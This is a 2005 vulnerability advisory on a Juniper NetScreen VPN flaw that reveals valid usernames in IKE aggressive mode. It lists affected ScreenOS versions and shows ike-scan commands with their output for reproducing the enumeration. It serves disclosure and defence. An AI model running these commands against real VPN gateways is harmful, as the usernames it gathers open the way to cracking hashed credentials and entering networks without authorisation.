Juniper Netscreen VPN Username Enumeration Vulnerability

Bugtraq ID:	14595
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 18 2005 12:00AM
Updated:	Aug 18 2005 12:00AM
Credit:	Discovered by Roy Hills <[email protected]>.
Vulnerable:	NetScreen ScreenOS 5.1 .0r3a NetScreen ScreenOS 5.0 NetScreen ScreenOS 4.0.3 r4 NetScreen ScreenOS 4.0.3 r3 NetScreen ScreenOS 4.0.3 r2 NetScreen ScreenOS 4.0.3 r1 NetScreen ScreenOS 4.0.3 NetScreen ScreenOS 4.0.2 NetScreen ScreenOS 4.0.1 r9 NetScreen ScreenOS 4.0.1 r8 NetScreen ScreenOS 4.0.1 r7 NetScreen ScreenOS 4.0.1 r6 NetScreen ScreenOS 4.0.1 r5 NetScreen ScreenOS 4.0.1 r4 NetScreen ScreenOS 4.0.1 r3 NetScreen ScreenOS 4.0.1 r2 NetScreen ScreenOS 4.0.1 r10 NetScreen ScreenOS 4.0.1 r1 NetScreen ScreenOS 4.0.1 NetScreen ScreenOS 4.0 r9 NetScreen ScreenOS 4.0 r8 NetScreen ScreenOS 4.0 r7 NetScreen ScreenOS 4.0 r6 NetScreen ScreenOS 4.0 r5 NetScreen ScreenOS 4.0 r4 NetScreen ScreenOS 4.0 r3 NetScreen ScreenOS 4.0 r2 NetScreen ScreenOS 4.0 r12 NetScreen ScreenOS 4.0 r11 NetScreen ScreenOS 4.0 r10 NetScreen ScreenOS 4.0 r1 NetScreen ScreenOS 4.0 -DIAL NetScreen ScreenOS 4.0 NetScreen ScreenOS 3.1.1 r2 NetScreen ScreenOS 3.1 r9 NetScreen ScreenOS 3.1 r8 NetScreen ScreenOS 3.1 r7 NetScreen ScreenOS 3.1 r6 NetScreen ScreenOS 3.1 r5 NetScreen ScreenOS 3.1 r4 NetScreen ScreenOS 3.1 r3 NetScreen ScreenOS 3.1 r2 NetScreen ScreenOS 3.1 r12 NetScreen ScreenOS 3.1 r11 NetScreen ScreenOS 3.1 r10 NetScreen ScreenOS 3.1 r1 NetScreen ScreenOS 3.1 NetScreen ScreenOS 3.0.3 r8 NetScreen ScreenOS 3.0.3 r7 NetScreen ScreenOS 3.0.3 r6 NetScreen ScreenOS 3.0.3 r5 NetScreen ScreenOS 3.0.3 r4 NetScreen ScreenOS 3.0.3 r3 NetScreen ScreenOS 3.0.3 r2 NetScreen ScreenOS 3.0.3 r1.1 NetScreen ScreenOS 3.0.3 r1 NetScreen ScreenOS 3.0.3 NetScreen ScreenOS 3.0.2 NetScreen ScreenOS 3.0.1 r7 NetScreen ScreenOS 3.0.1 r6 NetScreen ScreenOS 3.0.1 r5 NetScreen ScreenOS 3.0.1 r4 NetScreen ScreenOS 3.0.1 r3 NetScreen ScreenOS 3.0.1 r2 NetScreen ScreenOS 3.0.1 r1 NetScreen ScreenOS 3.0.1 NetScreen ScreenOS 3.0 r4 NetScreen ScreenOS 3.0 r3 NetScreen ScreenOS 3.0 r2 NetScreen ScreenOS 3.0 r1 NetScreen ScreenOS 3.0 NetScreen ScreenOS 2.10 r4 NetScreen ScreenOS 2.10 r3 NetScreen ScreenOS 2.8 r1 NetScreen ScreenOS 2.8 NetScreen ScreenOS 2.7.1 r3 NetScreen ScreenOS 2.7.1 r2 NetScreen ScreenOS 2.7.1 r1 NetScreen ScreenOS 2.7.1 NetScreen ScreenOS 2.6.1 r9 NetScreen ScreenOS 2.6.1 r8 NetScreen ScreenOS 2.6.1 r7 NetScreen ScreenOS 2.6.1 r6 NetScreen ScreenOS 2.6.1 r5 NetScreen ScreenOS 2.6.1 r4 NetScreen ScreenOS 2.6.1 r3 NetScreen ScreenOS 2.6.1 r2 NetScreen ScreenOS 2.6.1 r12 NetScreen ScreenOS 2.6.1 r11 NetScreen ScreenOS 2.6.1 r10 NetScreen ScreenOS 2.6.1 r1 NetScreen ScreenOS 2.6.1 NetScreen ScreenOS 2.6 NetScreen ScreenOS 2.5 r6 NetScreen ScreenOS 2.5 r2 NetScreen ScreenOS 2.5 r1 NetScreen ScreenOS 2.5 NetScreen ScreenOS 2.1 r7 NetScreen ScreenOS 2.1 r6 NetScreen ScreenOS 2.1 NetScreen ScreenOS 2.0.1 r8 NetScreen ScreenOS 1.73 r2 NetScreen ScreenOS 1.73 r1 NetScreen ScreenOS 1.66 r2 NetScreen ScreenOS 1.66 NetScreen ScreenOS 1.64 NetScreen ScreenOS 1.7 NetScreen NS-50NS25 5.0 .0r6.0 NetScreen NS-500 [Version 4110(0)-(11)] 5.1 .0r3a NetScreen NS-500 [Version 4110(0)-(11)] 4.0 r10.0 NetScreen NS-204 [Version 0110(0)-(11)] 5.1 .0r3a NetScreen NS-204 [Version 0110(0)-(11)] 4.0 r10.0 NetScreen NS-204 5.0 .0r6.0 NetScreen NS-100 3.0 .pe1.0 NetScreen NS-10 NetScreen NetScreen-SA 5050 Series 4.2 .r.2.2 NetScreen NetScreen-SA 5020 Series 4.2 .r.2.2 NetScreen NetScreen-SA 5000 Series NetScreen Instant Virtual Extranet 3.3.1 NetScreen Instant Virtual Extranet 3.3 NetScreen Instant Virtual Extranet 3.2 NetScreen Instant Virtual Extranet 3.1 NetScreen Instant Virtual Extranet 3.0 Juniper screenos 5.1 Juniper screenos 5.2.0 Juniper NetScreen-IDP 500 3.0.1 r1 Juniper NetScreen-IDP 500 3.0 r2 Juniper NetScreen-IDP 500 3.0 r1 Juniper NetScreen-IDP 500 3.0 Juniper NetScreen-IDP 1000 3.0.1 r1 Juniper NetScreen-IDP 1000 3.0 r2 Juniper NetScreen-IDP 1000 3.0 r1 Juniper NetScreen-IDP 1000 3.0 Juniper NetScreen-IDP 100 3.0.1 r1 Juniper NetScreen-IDP 100 3.0 r2 Juniper NetScreen-IDP 100 3.0 r1 Juniper NetScreen-IDP 100 3.0 Juniper NetScreen-IDP 10 3.0.1 r1 Juniper NetScreen-IDP 10 3.0 r2 Juniper NetScreen-IDP 10 3.0 r1 Juniper NetScreen-IDP 10 3.0 Juniper NetScreen-5GT 5.0 Juniper NetScreen-5GT 5.0
Not Vulnerable:

Juniper Netscreen VPN Username Enumeration Vulnerability

The Juniper Netscreen VPN implementation will identify valid usernames in IKE aggressive mode, when pre-shared key authentication is used. This allows for attackers to obtain a list of valid VPN users. With a valid username, an attacker can obtain hashed credentials against which a brute force attack may be performed. A successful crack would mean that the attacker has complete access to the network.

Juniper Netscreen VPN Username Enumeration Vulnerability

The ike-scan tool from NTA Monitor may be used to reproduce this attack. The following example, depicting the response to both a valid and invalid username respectively, is from the original post describing this issue:

The ike-scan options used in this example are:

-A Specify IKE Aggressive Mode. The default for ike-scan is
Main Mode.

-M Multiline: Display each payload on a separate line, which
makes the output easier to read.

--id=string Specify the string to be used for the ID payload.

10.0.0.1 The IP address of the target Netscreen.

3.1. Response to valid username "[email protected]"

$ ike-scan -A -M [email protected] 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)
10.0.0.1 Aggressive Mode Handshake returned
HDR=(CKY-R=21af4dbe2cecd5f0)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds
LifeDuration=28800)
VID=64405f46f03b7660a23be116a1975058e69e83870000000400000403
(Netscreen-05)
VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=10.0.0.1)
Hash(20 bytes)

Ending ike-scan 1.7.7: 1 hosts scanned in 0.136 seconds (7.37 hosts/sec). 1
returned handshake; 0 returned notify

3.2. Response to invalid username "[email protected]"

$ ike-scan -A -M [email protected] 10.0.0.1
Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/)

Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0
returned handshake; 0 returned notify

Juniper Netscreen VPN Username Enumeration Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Juniper Netscreen VPN Username Enumeration Vulnerability

References:

• Juniper Networks Homepage (Juniper Networks)
  
• NetScreen Homepage (NetScreen)
  
• Juniper Netscreen VPN Username Enumeration Vulnerability (Roy Hills )